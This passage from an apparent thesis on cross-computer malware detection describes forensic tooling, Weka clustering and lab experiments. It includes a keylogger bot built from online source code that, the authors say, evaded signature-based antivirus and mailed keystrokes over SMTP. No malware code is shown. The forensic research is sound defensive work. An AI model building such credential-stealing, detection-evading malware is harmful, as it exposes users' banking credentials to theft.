value would be calculated for each file object separately. When it comes to the IP, mail
and URL strings, a file can have 0-n such strings. This means that one cannot add each
found, e.g., IP, as an extra attribute for each file because that would give a variating num-
ber of attributes for each file (since not all files have same number of attributes). What
the tool does, is that each string feature found in each file is added to one long string
attribute (one for each IP, Email and URL). This gives a defined number of attributes.
Since a long string attribute would make it hard to compare individual strings of several

1IPv4 is the type of Internet Protocol version we are using
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file objects with each other, the long string attribute needs to be pre-processed before
any linking is applied. This pre-processing is handled by Weka, wich is presented in the
following section.

The Feature Extraction Tool requires the following input data:

• An image file of a computers hard disk partition

• The corresponding ARFF file generated by Fiwalk for the same partition

• Machine number

• Media number (in case of multiple in one machine)

In addition, the user must provide the desired file output name, being in ARFF format
(e.g., marking it file.arff). The Feature Extraction Tool is built on the basic pseudocode
presented below:

1 − Get and parse input ARFF f i l e
2 − For each o b j e c t :

− Add Forens i c case supp l ied metadata
( machine and media number)

− Add Entropy value
− Add IPs
− Add Emails
− Add URLs

Weka

Weka is an open source java based machine learning workbench with state-of-the-art
algorithms and pre-processing capabilities. The name Weka stem from Waikato Environ-
ment for Knowledge Analysis and was developed at University of Waikato, New Zealand.

Weka consist of four applications, where the Explorer is what will be focused on
in this section. The Explorer, with the example ARFF file from Figure 18, is shown in
Figure 19. The figure shows the preprocessing stage with a list of attributes, the values
for the selected one (size) and visualization of the their weight. As reflected in the top
banner, the tool can be used for most data mining problems; preprocessing, classification,
clustering, regression, association rule mining and attribute selection [59, 85].

Due to all the features tied to each file object in the feature files, the pre-processing
capabilities was crucial in order to perform clustering. With varying feature values, e.g.,
numeric and strings, the pre-processing filters in Weka make it possible to represent them
properly in order to cluster. This is especially true for the long string attribute of IPs,
Emails and URLs. It is desirable that each address string is represented by an attribute,
such that each file having the string will be marked. The concrete pre-processing filters
steps used for the correlation method are presented in Table 4.

Weka Explorer has an easy to use implementation of K-means algorithm, called sim-
pleKmeans. The default distance function and the one considered for the correlation me-
thod is the Euclidean Distance.

For the correlation method, it is the pre-processing capabilities of the tool, the clus-
tering capabilities and corresponding algorithms, along the easy to use GUI that makes
Weka the first choice for Link Mining. This great tool influenced the choice of the ARFF
format, originally created for the tool. From Figure 16, Weka is responsible for Pre-
processing (6) and Clustering (7).
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Figure 19: Illustration of the Weka Explorer

Pre-processing Task Argument
Remove Used to remove all features represented

with only one uniform value, overlap-
ping and system specific features (mar-
ked with *)

Weka-filters-unsupervised-attribute-
numeric to nominal filter

Used for numeric attributes, and espe-
cially date attributes to make them No-
minal and possible for the clustering al-
gorithm to handle

Weka-filters-unsupervised-attribute-
string to nominal filter

Used to convert strings features to no-
minal. File objects with string attributes
will be given a 1 or 0, depending on
whether it is present or not

Weka-filters-unsupervised-attribute-
string to word vector filter

Used to divide features with many " -
seperated strings

Table 4: Applied pre-processing steps from Weka

Finally, the Viewer and Visualization functionality of Weka’s Explorer, give good in-
sight to the data set in question where different views and relations between the data
objects and their features emphasize their details.

Viscovery SOMine

Viscovery SOMine is the tool used for creating SOM diagrams. SOMine is a commercial
software that provides data mining tasks based on SOM maps [91]. This tool is used
only as part of the clustering procedure to estimate the number of initial clusters. The
tool cannot handle .arff files directly, only .xls, special Viscovery data mart and XML files,
SPSS files, and text files.
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5.2.2 Summary

The practical implementation of the correlation method involves multiple operations and
tools. As a result, an enumerated list of each operation and in which category of the
method it is included will be provided. This will also be reflected in the structure of the
experiments in Chapter 6. The items stem from the main components of the method
from Figure 14 and the enumerated operations are from the practical implementation in
Figure 16.

• Data Collection
1. Data Collection

• Examination
2. File Metadata Extraction
3. Hash Filtering
4. Feature Extraction

• Analysis (Link Mining)
5. Combining
6. Pre-processing
7. Clustering
8. Linking Machines

5.3 Method Discussions

The correlation method and especially the practical implementation of it, presented in
this section, is not to be considered as a complete forensic method where all aspects are
considered. It is therefore important to discuss challenges and benefits of the method
and the current implementation.

5.3.1 Selected Features

The focus on metadata as the core features, improves the effectiveness of analysis, due
to the exclusion of all data content. This is possible because the metadata still consist
of links and identifiers that simplifies the recovery of the original copy. Metadata is also
data that can be correlated and associated more easily due to their common formats
and representations. It would be a more comprehensive task to evaluate links between
all binary content, e.g., on a file system’s block level, of multiple computers and use the
obtained results to put it in the correct context of an incident. However, another approach
could be to focus on content data, as Tabish et al. performed on byte-level data to detect
malware in [58].

Regarding the Feature Extraction Tool, the regular expressions are not to be considered
as perfect. FNs may occur, as a combination of the chosen regular expressions and the
searching method used. Since the search is aimed at a file individually, fragmented strings
over multiple files will not be extracted. Neither will strings in the Slack Space or in
deleted files. However, slack space search and attempts on recovering deleted files can be
achieved using −s (slack space) and −r (recover deleted files) for the icat TSK tool [27].

The actual choice of communication strings to extract were based on what was defi-
ned as best suited to detect involvement of communication patterns in files. The likeli-
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hood of getting FP also had an effect on the choice. E.g., port numbers is a feature that
could have been used for detecting malicious activity, but the way it is represented (value
of 0-65535 [92]) made it a potential source of FP feature values. In addition, the layers
of abstraction, used to detect special string features where delimited to textual content
based searches. Decryption and decompression of files where neither considered for the
practical implementation, which could further have extracted additional string features.

5.3.2 Filtering Technique

Based on the raw data and the later metadata representation of it, the correlation me-
thod utilize file object filtering. Due to the various hash databases available, it has been
decided to stick to the one provided by NSRL and one of a clean system. For the NSRL
database, the fact that some hash values can be associated with not only known good,
but also known bad files has not been considered. Due to the vague definition of what
data is bad, this is something that must be evaluated and considered depending on what
is to be investigated. E.g., a tool used to dump TCP traffic can be considered bad when
utilized by a malware, but harmless in the control of the computers owner.

An important consideration regarding the use of Fiwalk for the implementation of
the correlation method, was the lack of documentation about it. The tool is currently
not available in a final version and because of this it was sometimes hard to utilize the
tool fully, and to discover all of its functionality through source code analysis. Especially,
the apparently duplicated MD5 and SHA1 hash values was hard to separate without any
clear name-giving differences or documentation. However, the hash values of interest,
being the hash value of the files content was verified through manual use of other tools
(TSK and md5sum).

5.3.3 Implementation Challenges

Several approaches for extracting and representing additional content-based file features,
e.g., IP, email and URL strings, have been tried. Due to ARFFs strict format, where attri-
butes and objects have to be defined correctly and match the formats structure, adding
unknown numbers of special strings to each file object was quite challenging. If added
separately, numerous attributes would have to be defined, one for each string. For file ob-
jects without strings, the maximum number of strings associated with another file object
had to be added as an unknown value. The challenges of separating these strings increa-
sed when multiple machines where combined. The solution was to add one IP attribute,
one Email attribute and one URL attribute to each machine and fill them with a text of
quotation mark-separated strings. It was possible to do this due to Weka’s ability to later
separate these strings and count the presence of them in each file object.

The cluster output data of Weka makes it difficult to evaluate the clusters properly,
using the wc and bc who requires complete cluster centroid values for all features in
order to be calculated properly. In cases of long textual filenames, there was not enough
room for the whole filename in the cluster output window of Weka. However, the vi-
sualization feature and various view capabilities let us evaluate the clusters to a certain
degree. Another thing about Weka is that it is not suitable for large data sets, due to its
Java environment. The default assigned memory usage is often consumed quite fast. This
can however be bypassed by assigning it more initial memory space.

In order to create SOM diagrams, the feature files had to be converted to .xls (Excel)
format. This is one of the formats supported by Viscovery SOMine, which was found

58



Cross-Computer Malware Detection in Digital Forensics

most suitable to use. The downside of using .xls format is that it has a limitation of only
handling 65536 rows.

59





Cross-Computer Malware Detection in Digital Forensics

6 Experiments

This chapter presents the practical implementation of the correlation method as an em-
bedded forensic system in a virtual environment. Three experiments were executed in
this environment in order to test the proposed correlation method and its practical im-
plementation.

6.1 Experiment and Environment Setup

For the experiments, we used a virtual environment. In a virtual environment, virtua-
lization software (or hardware) is used to emulate a real computer environment. As
virtualization software we have used VMware Workstation [93]. We benefit from this
software-based virtualization environment over physical test environments since we are
going to run several experiments with multiple machines. It would be time and resource
consuming to run everything on physical machines. Another positive effect is the ability
to create snapshots of the machines current state, which they can be restored to if a test
have to be restarted. This simplifies the task of separating the infected and uninfected
(initial) stage of a virtual machine. However, there are several precautions that have
to be considered when running the experiments virtually. E.g., for experiments where
malware is used, the malware can have features to detect the virtual environment and
act differently [94]. Another issue is concerned with malware that tries to escape the
virtual machine and enter the base system [3, 95]. However, VMware and virtualization
techniques have also shown positive results for digital forensics as for the Virtual Se-
curity Testbed ViSe [96]. Here, VMware was used to analyze computer attacks through
computer crime reconstruction.

6.1.1 Forensic System Setup

The forensic system setup is the Linux environment where the correlation method was
implemented. As for all of the machines used in the experiment, this was also installed
as a virtual client. The use of an open-source distribution as the forensic system makes
it easier to configure and customize to achieve better performance for our desired tasks.
The extensive support of open source forensic tools is another benefit of using it as base
OS. The particular OS chosen is Xubuntu [97], which is derived from the Ubuntu Debian-
based distribution, with low performance requirements. Due to high performance requi-
rements of data examination and analysis tasks, we benefit from having a lightweight
OS like this, where only the most necessarily service are running along with the forensic
tools. Xubuntu was installed with the following configurations:

• CPU: 2 core

• Hard disk size: 25GB

• Physical Memory: 2048MB

• OS: Xubuntu 9.10 Desktop
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• Virtual Environment: VMWare Workstation 7.0.0 build-203739

For the forensic environment to perform the desired tasks for the correlation method,
the following tools, their version and libraries that comply with the practical implemen-
tation in Chapter 5 were required.

1. AFFLIB (3.5.8) [18]

2. The Sleuth Kit (3.1.0) [98]

3. Fiwalk (0.5.12) [18]

4. Python (2.6.4) [99]

5. ARFF python module (1.0c) - [100]

6. ANTLR (3.0.1-py2.5.egg) [101]

7. Feature Extraction Tool, Appendix A

8. Hash Extraction Tool, Appendix B

9. Hash-Based Removal Tool, Appendix C

10. Weka (3.7.1 Developer version) [102]

11. NSRL RDS database (RDS 2.28 , March 2010) [32]

The six first tools and libraries were manually extracted and installed (in the above
order) to work properly. The packages are unpacked and compiled and due to dependen-
cies, missing packages had to be installed. In our case these were zlib1g-dev, libssl-dev and
build-essential for AFFLIB. In the case of Fiwalk, it is depending on libtsk3.so.3 which is
in my case located in /usr/local/lib/libtsk3.so.3. In order for Fiwalk to work, a
symbolic link had to be made.

The Feature Extraction Tool, Hash Extraction Tool and Hash-Based Removal Tool have
only been tested with Python version 2.6.4. It is crucial that these three tools are loaded
in the same directory as the ARFF python module’s pysource sub-directory. This is also
the location where the antlr3 folder have to be located, since the ARFF python module
depends on this parser.

Weka is a Java application, meaning it does not have to be installed other than ex-
tracted and executed from its location. Note that Java had to be installed in order to run
this. For the experiments, Weka was used in both the Forensic System environment and
in a Windows 7 environment (in which all Weka figures in this report are from).

Hash Databases

In order to filter out uninteresting files based on hash values, the NSRL RDS database and
a clean system hash database had to be assembled. The NSRL RDS database files were
downloaded from [32] and concatenated into one single file. This file was approximately
6GB of size and slow to search through. In order to increase the filtering procedure, the
file was indexed by using the hfind tool from TSK, with the following command in ter-
minal; hfind -i nsrl-md5 /"NSRL hash file". This indexed file was further utilized
when hfind was used for searching hashes.
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Clean System Hashes

In cases where machines having similar configurations and installations of OS and soft-
ware, an installation of a clean system with the same settings could be used to create a
hash database. This was done for all experiments we executed. As the main steps for this
procedure were the same for all experiments, we present the procedure of getting hash
values of a clean system here.

For the generation of the clean hash database, the Hash Extraction Tool (Appendix
B) was used. The tool is based on the output of the Fiwalk tool (in ARFF format). The
tool extracted hash values and created a text file, with the same format as the output of
md5sum tool. The reason for using this format was because it was possible to use hfind to
create an index file (as for the NSRL RDS database), intentionally created to suit outputs
of the md5sum tool. The extraction of hash values from the clean system was executed
according to the procedure below.

• A snapshot was taken of the clean system in VMware

• The snapshot disk was added to the Forensic System and started

• The clean disk and its partition was identified as a device in the Forensic System

• An imaged copy of the clean machines partition was created, using
dcfldd if=/dev/sd*1 of=/"output location"

• It was verified that the input partition and the output file had the same data, using
md5sum on the device and output file

• File metadata was extracted from the copied image file, using
fiwalk -f -A /"output location".arff /"input location"

• The Hash Extraction Tool was used to acquire the file hashes. It required the genera-
ted .arff file from Fiwalk as input. The output filename also had to be provided.

• Finally, the hash text file was indexed to improve the searching capabilities of hfind.
The index table was obtained by
hfind -i md5sum /"hash textfile"

The procedure above created an index file and the hash database text file. It was the
hash database text file that was used as input to the hfind tool to search through hash
values, while the index file was only indirectly used to improve the searching speed.

6.2 Experiment Execution

In this section the executed experiments and the results obtained will be presented. Dis-
cussions closely related to each individual experiment and all of them together will also
be provided.

The following three experiments were executed in order to test both the effectiveness
and efficiency of the correlation method:

1. Proof-of-Concept, single disk

2. Keylogger Bot Malware, multi host

3. Malware from the Wild, multi host

All of the experiments use Figure 16 (on page 50) as reference. Both the terms used
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for the different operations, and their number, along with the output data types are used
throughout the experiments.

6.2.1 Online Banking (OB) Attack Scenario

For Keylogger Bot Malware and Malware from the Wild experiments, where multiple ma-
chines were involved, the experiments were executed under an OB attack scenario. This
was done to put the correlation method into an appropriate context. The reason for
choosing OB, for the attack scenario, was because of its wide utility value in private and
business environments. They have also been targets for various botnet attacks and other
malicious cyber-crime during the last decade, e.g., where malware have been used to
gather sensitive information or to execute DoS [20, 40, 42]. These attacks against OBs,
using botnets, along with attack patterns from [103] and the scenarios given in [104]
to present the anatomy of an attack, have been used to create the following generalized
Online Banking attack scenario:

1. Attack established by adversaries against OB user’s computers

2. Initial infection of machines, using a defined attack vector

3. Infected machines are controlled by the adversary

4. Attacks are performed (e.g., DoS, stealing OB user credential, session hijacking)

5. Target bank detects suspicious activity

6. Investigation is initiated based on expert knowledge of the attack (e.g., time data,
type of activity, IP, mail and URL addresses)

6.2.2 Proof-of-Concept, single drive - 1

This experiment was executed to see whether the tools used by the correlation method
worked properly and whether it was capable to detect distinctions between a single unin-
fected and an infected machine.

Machine Configuration

The experiment was set up with one machine, having a clean (uninfected) state and an
infected state. Hash values of the hard drive from the different machine states are given
in Appendix G. The uninfected machine created a baseline, while the other machine
was an infected machine. Instead of configuring two individual machines we decided to
create two states, representing each machine, as reflected in Figure 20. This was achieved
using VMwares snapshot functionality.

Infected 
State

Clean 
State

Initial 
State

Figure 20: Proof-of-Concept Virtual Machine states

The machine(s) had the following configurations:

• CPU: 1 core
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• Hard disk size: 4GB

• Physical Memory: 512MB

• OS: Windows XP w/SP2

• Virtual Environment: VMWare Workstation 7.0.0 build-203739

• examplefile.txt file in Documents and Settings folder

The initial state of the virtual machine was created using typical settings, making an
easy and fast installation. At installation time, VMware tools were automatically installed
on the machine, followed by a restart. When the machine was up and running, a snapshot
was taken to preserve the clean state (performing the steps for Clean System Hashes in
Section 6.1.1). Next, the examplefile.txt file (found in Appendix F) was copied to the
machines Document and Settings folder, and a snapshot of the infected state was taken.
This file includes special string features (IP, email and URL) in order to verify the methods
extraction capabilities.

Data Collection

With the hash database of NSRL RDS and the machines clean state, the data from the
infected machine was collected. The following procedure was performed for the infected
machine:

• A snapshot of the infected system was taken in VMware

• The snapshot disk was added to the Forensic System and started

• The clean disk and its partition was identified as a device

• A Disk Image of the clean machine’s partition was created, using
dcfldd if=/dev/sdb1 of=/"image file"

• The access rights for the image file was change to read-only, using the following
command: chmod 444 "image file"

• It was verified that the input partition and the output file held the same data, using
md5sum

Examination

With a copied image file of the machine’s hard disk partition, we started the examination.
In order to do this, metadata about the files on the hard disk partition was extracted:

• File Metadata Extraction (2) was performed on the Disk Image image file to create Fea-
ture File 1, using fiwalk -f -A /"output location".arff /"input location"

Removing Known Files

Since we wanted to filter out all unaltered and clean data from the infected machine, the
hash database files of NSRL and the machines clean state were used. The procedure was
executed as follows:
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• The Hash Reduction Tool was used for Hash Filtering (3) to reduce the number of file
objects and to create Feature File 2, by running python /"tool location"/*tool.py.
Feature File 1 was used as input when prompted. Also the hash database text file and
the desired name for the output file were added. This task was performed twice, one
for the hash database of the clean system and one for the NSRL RDS hash database.
Since the hash database of the clean system was smallest, it was more efficient to use
this before the large NSRL RDS hash database file. It was important that file, with
reduced file objects from the first run, was used as input when reducing more file
objects.

Feature Extraction

Having filtered out clean and known files, we extracted additional features in order to
obtain the desired Feature File 3.

• The Feature Extraction Tool was executed by running
python /"tool location"/*tool.py

The Disk Image and Feature File 2 was used as input, along with the desired output
file name.

• Forensic case supplied metadata, i.e., machine number and media number were added
too, before extracting the features.

Analysis

In this experiment there was no link mining, since we only considered one machine.
However, we pre-processed the extracted feature data in Weka in order to get a better
representation it. It also allowed us to verify the method’s ability to reduce the num-
ber of file objects, to verify that the extracted data was a correct representation of the
original source and to find "examplefile.txt". The feature file was opened in Weka and
pre-processed as shown in Table 5.
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Pre-processing Task Argument Feature
Remove All features represented

with only one uniform
value, superficial values,
and machine specific fea-
tures (marked with *)

Partition, Fragments*,
Fragstart*, Fragstart*,
MD5, SHA1, Alloc (super-
ficial for Unalloc), Used,
Gid, Compressed, SHA1
(2), Meta_type (superfi-
cial for name_type, would
affect clustering)

Filtered with Weka-filters-
unsupervised-attribute-
numeric to nominal

Nominalized since date
attribute is not supported
directly as format for clus-
tering tasks and to get
number of files with acti-
vities at the same time

Mtime, Ctime, Atime, Cr-
time

Filtered with Weka-filters-
unsupervised-attribute-
string to nominal

Converts strings to nomi-
nal and counts file’s asso-
ciation

Filename, Name_type,
Libmagic, MD5 (file
content)

Filtered with Weka-filters-
unsupervised-attribute-
string to word vector
(using word tokenizer
with delimiters " ), be-
cause they contain vectors
of multiple strings

Separates all strings to
create an attribute for
each which the file objects
are associated with

IPs, Mails, URLs

Table 5: Pre-processing performed on extracted features

The features not pre-processed and included in Table (Table 5) were already in a
suitable format (numeric) and the total representation of all features are given in Table 6.

Features Type
ID, Filesize, Inode, Mode, Nlink, Uid,
Seq, Unalloc, Machine, Media, Entropy

Numeric

Mtime, Ctime, Atime, Filename,
Name_type, Crtime, Libmagic, MD5

Nominal

IPs, Emails, URLs Numeric for all individual values

Table 6: All features and their type after pre-processing

In addition to removing superficial attributes, the string to word vector presented se-
veral invalid values. These invalid strings were caused by regular expressions used for
extracting IPs, Emails and URLs. E.g., email addresses like "21@shell32.dll", IP adresses
with values exceeding the range (four groups ranging from 0-255 [105]) and incomplete
URLs. However, the low number of invalid strings were removed manually.

The final, pre-processed version of Feature File 3 was stored and opened again in
Weka. Weka Explorer, and its Viewer functionality, along with the Visualization functio-
nality, was used to analyze and present the machine’s file objects and their features.
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Results and Discussions

The number of file objects extracted before filtering was 13869. After filtering out file
objects, based on clean system hashes, the number of file objects were reduced to 415.
The NSRL filtering did not reduce additional number of file objects.

Weka Explorer’s Viewer function presented a clear and overall view of the file objects
(represented in rows), and their features (represented in columns). The sorting functio-
nality, on the features, improved the visual presentation of the file objects and related
feature values. This can be seen in conjunction with the way of looking at patterns by
using different views of, e.g., users and files for forensics as presented in [12].

When analyzing the results, the "examplefile.txt" was successfully located through
Weka Explorer’s Viewer function. Unallocated files, and examples of extracted IPs, Emails
and URLs associated with file’s content were also found. Depending on the context, au-
tomatic extraction of communication associated features reduces the manual work of
finding such correlations over multiple file objects. Appendix G presents different views
of the identified "examplefile.txt", unallocated objects and special string features in Weka
Explorer’s Viewer function.

The visualization feature of Weka gave us a visual presentation of the data, where ex-
pert knowledge of the IP-address (192.168.0.1) was used to detect associated file objects.
A screenshot of Weka’s Visualizer is shown in Figure 21. In the figure, file objects with
the IP address in its content is assigned value 1 (X-axis) and time of creation (Y-axis).
The colors represent raw files (blue), directory (red) and neither/unallocated (green).

Four files were identified as anomalies and associated with the particular IP-address,
shown in the red cirle. The files were the $LogFile, $MFT, Documents and Settings\Admin-
istrator\My Documents\examplefile.txt and Documents and Settings\Administrator\Local
Settings\Temporary Internet Files\Content.IE5\K7Q1AF63\examplefile[1].txt. All of them
are presented in a time perspective of when they were created. Due to the limited space
available in the figure, the time stamps are only represented by the first number 2 from
2010, and not the whole ’yyyy-MM-dd HH:mm:ss’ string. represent anomalies,
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Figure 21: Visualization of files Creation Time and IP

It is clear that the way of representing file metadata, and special string features im-
proves the efficiency due to the decreased data volumes to process. The initial image file
was 4GB, while the filtered feature file of the same hard disk image, after pre-processing
was 148KB. The representation provides the ability to visualize the data in order to, e.g.,
simplify the task of detect anomalies.

6.2.3 Keylogger Bot Malware - 2

This experiment was based on an executable program code (found in Appendix D), ma-
king computers act like bots by sending users keystroke information to a central location.
The malicious program was made from source code available on the Internet. It was easy
to assemble a new malware that bypass detection from typical signature-based anti-virus
software. The software was made to infect machines and make them send information
about keystrokes to a passive controller. The SMTP protocol was used for transferring
keystrokes over mail to the adversary.

Due to use of One-Time Passwords (OTP) in OB access control it is not enough to only
capture keystrokes1. However, captured keystrokes could be used to at least obtain SSN
and personal passwords. The malware used in this experiment is not meant to work as a
fully operating OB attack malware, but as a simple example of bots sending OB sensitive
information to a common site.

In this experiment, the actual infection of the machines were done by simply copying
the "keysendbot.exe" file to C:\ (root) folder. The reason for this was that we wanted to do
this with as much control possible and affect few files. After adding the file to the system
we could verify that the emails generated by "keysendbot.exe" were sent successfully to
the defined receiver’s email account, as presented in Appendix H.

1The clue of OTP is that one can not monitor and re-use the same password when it has already been used.
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Machine Configurations

Five computers were virtualized and used for this experiment where each of the five
machines had the following configurations:

• CPU: 1 core

• Hard disk size: 4GB

• Physical Memory: 512MB

• OS: Windows XP w/SP2

• Innstallation of Microsoft .NET Framework Version 2.0 Redistributable Package (x86)

• Virtual Environment: VMWare Workstation 7.0.0 build-203739

• keysendbot.exe file in C:\ folder

Instead of installing all machines separately, the clone function in VMware was used
to create a clean state of these five machines. The malware file was added to all machines
after the cloning. Figure 22 reflects how an initial system was created, a clean state was
defined and duplicated (cloned) to reach the total of five machines. Note that each of
them were infected seperately. The reason for cloning was because the hash database of
the clean state would be the same as for all the machines. Using cloned machines made
it possible to remove more data objects than from individually configured machines.
This is not possible in a real world scenario, but for this experiment it decreased the
time used for extracting features and the number of resulting file objects associated with
each machine’s file system significantly. Hash values of all hard drives from the different
machines and states are given in Appendix H.

Clean 
State

Initial 
State

Infected 
State

Clean 
State

Machine m (1-5)

Duplication 
(Cloning)

Figure 22: Keylogger Bot Malware Virtual Machine states

Data Collection

For collecting the data from all of the five machines, the collection steps presented for
the Proof-of-Concept experiment in Section 6.2.2 were used. This gave us five individual
image files, verified to stem from the correct hard disk partitions.

Examination

The examination of the machines were performed by extracting file metadata, removing
known and uninteresting files, followed by extraction of additional features. Extraction
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of file metadata was performed as in Section 6.2.2.

Removing Known Files

To remove known files, NSRL database and a hash database of a clean version of the
machines were used. The clean hash database was made of one of the cloned machines,
following the steps in Section 6.2.2.

Feature Extraction

The only difference for the feature extraction of the Proof-of-Concept experiment and this
one was that the Forensic case supplied metadata, in particular the machine number, had
to be different for each of the machines.

Link Mining

With five individual representations of Feature File 3, these had to be pre-processed to-
gether in order to perform clustering to detect links for revealing malware traces.

Pre-processing

The individual feature files obtained from each machine were combined to create Case
Data by using a simple text editor (Combining (5)). It was only the data part that was co-
pied, since the attribute section was the same for all files. It was the machine number fea-
ture that made it possible to separate the machines. The combined version of the feature
file is then opened in Weka for pre-processing (Pre-processing (6)). The pre-processing
steps were the same as for Table 5, except that also the media type was removed for this
experiment. This was because the media type was all over the same (a hard disk) and
thereby superficial. The resulting features were the same as in Table 6, but without this
Machine attribute.

The pre-processed file was saved as a Pre-processed Case Data file, to keep the new
representation and the CoC. This file was saved in both .csv format (for creating SOM)
and .arff format (for the actual clustering).

Clustering

For the clustering we first needed to find a suitable value of K (for the K-means algo-
rithm). A SOM was generated to get indications of the different groups in the data set.
This was performed in the following way:

• The saved Pre-processed Case Data .csv file was first imported to Excel in order to
make a .xls file (supported by Viscovery SOMine). Here we selected column A and
used the text to column tool for data handling. We decided to separate data based on
punctuation marks, as comma, and separation based on text qualifier ’. In order to
include the time stamps, their column data format had to be changed to text (later
in SOMine they will be changed to nominal values as we shall see). After this pre-
processing we saved our file as Excel 97-2003 workbook (.xls). Note that number of
columns cannot exceed 256 (IV) or the rows 65 536 for .xls files in Excel, which is a
limitation of using Excel for this pre-processing. However, it didn’t affect our data.

• The .xls file was opened in a new project in the SOMine tool.

• All features, except ID, Inode and Machine was imported as data. No key attribute
was set and the rest of the settings were left default.
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• Nominal values were created for all timestamps, filename, name_type, libmagic and
MD5 (a total of eight). Even though we normalized these values before, this was
omitted when we saved the .csv file. We had to make sure that all nominal values are
defined and added.

• Default settings were left for histogram tuning and to write the data mart.

• To create the model, we chose the data mart just generated.

• No attributes were prioritized.

• The map was created with 1000 nodes, squared map, tension of 0.5 and normal
training schedule.

The generation of SOM gave us six segments as shown in Figure 23.

Figure 23: SOM of Keylogger Bot Malware data

Based on the information from the SOM, we could perform the clustering using Weka.
Since the .csv file was only made for creating the SOM diagrams, the pre-processed .arff
feature file we created earlier was used for the clustering task, in the following way.

• The pre-processed .arff file was opened in Weka Explorer

• simpleKmeans was selected as clustering algorithm

• In the settings of simpleKmeans, the number of clusters was set to six, Euclidean
Distance was used as distance function and the rest was left as default

• The ID, Inode and Machine attributes were ignored in order to follow the same confi-
gurations of the SOM generation and because we didn’t want to cluster based on
these machine specific values. They were however not removed totally since they
held values that made it possible to trace the file objects back to its origin

• The clustering was started, with the Store clusters for visualization-box selected

In some cases we experienced that Weka crashed because it was out of memory. To
sort this issue, we started the Weka in a Java environment with more memory available.

Evaluation The clustering task, performed in Weka, created cluster output data that
presented the cluster centroids, represented by all attributes and visualized cluster assi-
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gnments. Using a between and within cluster distances estimation (bc and wc), based
on major differences of the file object types in each cluster, we were able to identify their
main properties. Figure 24 presents a good visualization example of the file objects type
associated with each cluster C1 − C6, which gave a good indication of the cluster’s file
type ((r)aw, (d)irectory and (-)neither/unallocated).

Figure 24: Distribution of directories, raw and unallocated files over C1 − C6

The clustering task was in addition evaluated based on the "keybotsend.exe" file we
added to the system, which we specified belonged to a malicious class. We could then
identify whether the clustering placed this file from each of the machines in the same
cluster.

Results and Discussions

Based on the initial data volumes used as input to the correlation method, approximately
97% of the file objects were reduced. Leaving us with 3% for further analysis. It was the
hash values obtained from the clean machine that removed all of these attributes. No
further hashes were removed using the NSRL database. By using the hash counting tool
in Appendix E, 8916 of the hash values from the clean system where redundant with
and present in the NSRL database. Table 7 summarizes the initial and filtered number
of file objects associated with each machine and all together. The number of file objects
of the clean system is also included in the table. Since the clean system’s number of file
objects were the same as the infected once, it could only filter files that were left the
same, before infection. This meant that allmost 450 files content’s were altered in the
process of adding and running "keysendbot.exe".

The extracted file objects were estimated to naturally represent six different groups, as
we saw for the generated SOM. Based on this number of groups, the clustering provided
a diverse collection of the file objects. Four of the clusters had around 500 number of file
objects, while the to remaining clusters had 158 and 25 file objects. The exact values and
percentage distribution is given in Table 8.

73



Cross-Computer Malware Detection in Digital Forensics

Machine ID Initial Clean Filtered NSRL Filtered
1 13867 438 438
2 13867 442 442
3 13867 442 442
4 13867 442 442
5 13867 442 442
Clean 13867 - -
All 69335 2206 2206

Table 7: Filtered file objects for Keylogger Bot Malware machines

Cluster Number of Objects Percentage
1 411 19%
2 506 23%
3 603 27%
4 503 23%
5 25 1%
6 158 7%
All 2206 100%

Table 8: Clustered instances of Keylogger Bot Malware

Each of the clusters C1-C6 were evaluated in relation to how the various attributes
affected their characteristics. A combined use of Weka Explorer’s Visualization, Viewer
and Cluster Output function was used to gain a better understanding of each individual
cluster. The cluster centroids and an example output of the Weka, used to evaluate the
clusters, are presented in Appendix H.

All of the clusters had file objects associated with each of the five machines. This
showed that the machines had similarities that reflected the links between them. Figure
25 shows how equally files from M1 −M5 are present in C1 − C6. Jittering was added
to the nodes in almost all figures presented to give a better view of their distributions.

C1 was characterized by having only file objects with small file sizes. Another special
characteristic was that there were no file objects being directories, only raw and unal-
located files. All files had user ID 0 and a very low entropy value with no special string
attributes attached (IPs, emails or URLs). From all of the file objects in this cluster there
were only one that had a hash value. The rest of the features had no clear structure.
From the time perspective, the file objects MAC times were mainly changed in the begin-
ning of the experiment and then faded out. This also included crtime. From a filename
perspective, C1 was strongly represented by VMware driver directories, along with IO
and system volume information files.

C2 was also characterized by small file objects, but here most of them were directories.
This was also reflected in the file content type where all objects were of data type. There
were in addition no unallocated files included in this cluster. The entropy of the files
were concentrated around 3,5 and 2. Regarding the string features, they had a few IP
addresses.

C3 had mainly file objects with data content and varied between raw, directories or
unallocated files types. From the visual diagrams, we could identify that this was the most
neutral cluster, with no obvious feature of relevance. However, looking at the filenames

74



Cross-Computer Malware Detection in Digital Forensics

Figure 25: Distribution of file objects from M1 −M5 in all C1 − C6

associated with the file objects, revealed the highest representation of Orphanfiles. This
is often files associated with uninstalled applications.

C4 had the highest file size given by its centroid. This didn’t however mean there were
mainly large files in it. This was caused by extremes, where the rest of the file objects
were directories with approximately size of 300KB. What was special with C4 was its
high presence of IPs (highest representation), URLs and Emails.

C5 was definitely the one with fewest file objects. The files were small and were of
raw type (shown in Figure 24). It had only mode of 511 and 365, where the number of
links were 2 for all objects. User ID was 0 and the entropy of most objects were grouped
around 4-5. When it came to the strings, it only had one attached, present in 20% of the
files. Looking at the file names associated with C5, we could identify all "keysendbot.exe"
files and verify that they were successfully clustered together. This is discussed futher,
later in this section.

C6 had almost all registry files from all machines. All of the objects were raw files
with the same modes as C5, 511 and 365. C6 was the only one with another user ID
in addition to 0, namely 48. This was caused by the $Volume files from all machines.
Other file system metadata files, e.g., MFT, Bitmap and LogFile were also heavily present,
in addition to general System32 and user Log files. These caused a lot of different file
content types, making it the one with the highest variation. The number of links were
well distributed over 1 and 2.

All infection files "keysendbot.exe" from all machines were identified as part of C5.
The clustering task, successfully clustered these together and Figure 26 reflects these in
Weka Explorer’s Viewer.

In addition to look at the clusters and their centroids, we could improve the corre-
lation detection between the five machines from a time line perspective of all files in
C5 (being the one where we identified "keysendbot.exe". The last time all malware files
were accessed could then be presented sequentially with a small time-delay. This time
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Figure 26: C5 with keysendbot.exe identified for all machines (in red circle)

line is presented in Figure 27. It was no surprise that the files’ last access time were fairly
similar, since they were run consecutively in the experiment. However, it showed that the
similar files (provided by the clusters) were last accessed on all the machines around the
same time. We must also take into account that the time line in this view is short, making
it more difficult to distinguish between temporal events than for, e.g., a time perspective
of a year or two.

Figure 27: Access Time for keysendbot.exe in C5 for M1 −M5
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6.2.4 Malware from the Wild - 3

This experiment was conducted to test the correlation method’s capabilities when a real
